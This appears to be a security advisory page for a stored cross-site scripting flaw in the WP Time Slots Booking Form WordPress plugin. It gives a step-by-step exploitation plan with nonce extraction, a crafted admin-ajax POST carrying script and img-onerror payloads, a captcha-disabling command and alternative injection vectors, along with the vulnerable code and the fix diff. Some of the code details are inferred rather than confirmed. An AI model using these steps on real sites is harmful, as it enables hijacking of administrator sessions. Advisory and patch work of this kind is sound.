WP Time Slots Booking Form <= 1.2.46 - Unauthenticated Stored Cross-Site Scripting
Description
The WP Time Slots Booking Form plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.2.46 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.2.46What Changed in the Fix
Changes introduced in v1.2.47
Source Code
WordPress.org SVNThis research plan targets **CVE-2026-40791**, an unauthenticated stored Cross-Site Scripting (XSS) vulnerability in the **WP Time Slots Booking Form** plugin. ### 1. Vulnerability Summary The plugin fails to sanitize user-supplied data during the booking submission process and fails to escape that…
Show full research plan
This research plan targets CVE-2026-40791, an unauthenticated stored Cross-Site Scripting (XSS) vulnerability in the WP Time Slots Booking Form plugin.
1. Vulnerability Summary
The plugin fails to sanitize user-supplied data during the booking submission process and fails to escape that data when displaying it in the administrative "Booking Orders" list. An unauthenticated attacker can submit a booking request containing a malicious script in any form field. When an administrator views the bookings for that calendar, the script executes in their session context.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
cp_tslotsbooking_submit(Inferred from class prefixcp_tslotsbookingincp-main-class.inc.php). - Vulnerable Parameter: Any form field submitted via POST (e.g.,
email, or additional custom fields likefieldname2). - Authentication: None required (unauthenticated).
- Preconditions: A booking form (calendar) must be published on a public page to obtain a valid submission nonce and the calendar ID (
cal).
3. Code Flow
- Submission (Source): An unauthenticated user submits a booking via AJAX. The plugin handles this in
cp-main-class.inc.php(inside a method typically namedsubmitorprocess_submissionhooked towp_ajax_nopriv_cp_tslotsbooking_submit). - Storage: The plugin iterates through
$_POSTdata, serializes it, and inserts it into the$wpdb->prefix . "cptslotsbk_messages"table in theposted_datacolumn. - Retrieval: An admin navigates to the "Booking Orders" page.
cp-admin-int-message-list.inc.phpis loaded. - Processing:
- Line 116-121: The code fetches records from
$this->table_messages(which iscptslotsbk_messages). - Line 144: The query results are stored in
$events. - Line 70-76 (Example of processing): The code calls
unserialize($myrows[0]->posted_data).
- Line 116-121: The code fetches records from
- Rendering (Sink): Although truncated in the snippet, the plugin typically iterates through the deserialized
posted_dataand echoes the keys and values into a table for the administrator. Because noesc_html()orwp_kses()is applied during this output, the XSS triggers.
4. Nonce Acquisition Strategy
The booking submission requires a nonce generated for the specific form. This nonce is tied to the uid=0 (anonymous user) session.
- Identify Shortcode: The default shortcode is
[CP_TIME_SLOTS_BOOKING]. - Create Test Page:
wp post create --post_type=page --post_status=publish --post_title="Booking Test" --post_content='[CP_TIME_SLOTS_BOOKING id="1"]' - Navigate and Extract:
Usebrowser_navigateto visit the new page.
Usebrowser_evalto extract the nonce from the localized JavaScript configuration object.- Variable Name:
cp_tslotsbooking_fbuilder_config - Nonce Path:
cp_tslotsbooking_fbuilder_config.obj.nonce - Item ID:
cp_tslotsbooking_fbuilder_config.obj.item_id(This confirms thecalID).
- Variable Name:
5. Exploitation Strategy
The exploit involves a single POST request to the AJAX endpoint using the extracted nonce.
HTTP Request:
- Method: POST
- URL:
http://<target>/wp-admin/admin-ajax.php?action=cp_tslotsbooking_submit - Content-Type:
application/x-www-form-urlencoded - Parameters:
cp_tslotsbooking_nonce:[EXTRACTED_NONCE]item:1(The calendar ID)fieldname1_date:2025-12-25(Required for valid booking)fieldname1_slot:08:00 - 09:00(Required for valid booking)email:admin@victim.com"><script>alert(document.domain)</script>fieldname2:<img src=x onerror=alert("XSS")>(Additional field often stored)
6. Test Data Setup
- Ensure the plugin is activated.
- The default "Form 1" (ID 1) is created upon installation (as seen in
_installincp-main-class.inc.php). - Create a public page with the shortcode
[CP_TIME_SLOTS_BOOKING id="1"]. - Ensure no Captcha is blocking the request (the default is
true, so the PoC may need to disable it via WP-CLI:wp option update cp_tslotsbooking_cv_enable_captcha 'false').
7. Expected Results
- The
admin-ajax.phpresponse should indicate a successful submission (usually a redirect URL or a JSON success message). - When an admin visits
/wp-admin/admin.php?page=cp_timeslotsbooking&cal=1&acc=messages, the JavaScript payload will execute.
8. Verification Steps
After sending the HTTP request, verify the storage via WP-CLI:
# Check the cptslotsbk_messages table for the payload
wp db query "SELECT posted_data FROM wp_cptslotsbk_messages ORDER BY id DESC LIMIT 1"
The output should contain the serialized XSS string.
9. Alternative Approaches
If fieldname1 submission is too complex due to date/time logic:
- Inject via Search:
cp-admin-int-message-list.inc.phpline 116 uses$_GET["search"]in a SQL query but then likely reflects it in the "Results for: ..." text. Testadmin.php?page=cp_timeslotsbooking&cal=1&acc=messages&search=<script>alert(1)</script>. - Status Update: If an unauthenticated user can trigger a status update (unlikely due to admin checks), the
statusparameter inupdate_statusmight be a sink. - Manual Update Sink: Line 72 uses
$_GET["status"]to updateposted_datavia thelu(load update) parameter. If this can be reached, it's an alternative storage vector.
Summary
The WP Time Slots Booking Form plugin is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) due to a failure to sanitize input and escape output during the booking submission and display process. Attackers can inject malicious scripts into booking fields, which are then executed in the context of an administrator's session when they view the booking orders list.
Vulnerable Code
// cp-main-class.inc.php around line 1481 'date' => $item_split[0], 'slot' => $item_split[1], --- // cp-admin-int-message-list.inc.php around line 415 $appts .= '<div class="ahb-appointment-badge">' . '<span class="dashicons dashicons-clock"></span>' . '<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
Security Fix
@@ -412,7 +412,7 @@ $app = $posted_data["apps"][$k]; $appts .= '<div class="ahb-appointment-badge">' . '<span class="dashicons dashicons-clock"></span>' . - '<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' . + '<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.esc_html($posted_data["apps"][$k]["slot"]).'</span>' . '<span class="ahb-service">'.($app["quantity1"] + $app["quantity2"] + $app["quantity3"] + $app["quantity4"] + $app["quantity5"] > 1 || $app["quantity1"] == 0 ? " (".( $this->getQuantityLabel("quantity1",$app["field"],$formdata).$app["quantity1"] @@ -1478,8 +1478,8 @@ 'cancelled' => $this->get_option('defaultstatus', ''), 'baseprice' => floatval($server_side_price), 'price' => floatval($server_side_price), - 'date' => $item_split[0], - 'slot' => $item_split[1], + 'date' => sanitize_text_field($item_split[0]), + 'slot' => sanitize_text_field($item_split[1]), 'quantity1' => $quantity1, 'quantity2' => $quantity2, 'quantity3' => $quantity3,
Exploit Outline
1. Identify a public page on the target site containing a booking form (shortcode [CP_TIME_SLOTS_BOOKING]). 2. Extract the required submission nonce and item (calendar) ID from the localized JavaScript object `cp_tslotsbooking_fbuilder_config` in the page source. 3. Construct a POST request to the WordPress AJAX endpoint `/wp-admin/admin-ajax.php?action=cp_tslotsbooking_submit`. 4. In the request body, include the extracted nonce and a payload for a slot-related field (e.g., `fieldname1_slot`) containing a malicious script tag like `<script>alert(document.domain)</script>`. 5. Wait for an administrator to log in and navigate to the 'Booking Orders' page (accessible via the plugin menu) for that specific calendar ID. 6. The script will execute automatically when the admin dashboard renders the appointment list containing the malicious payload.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.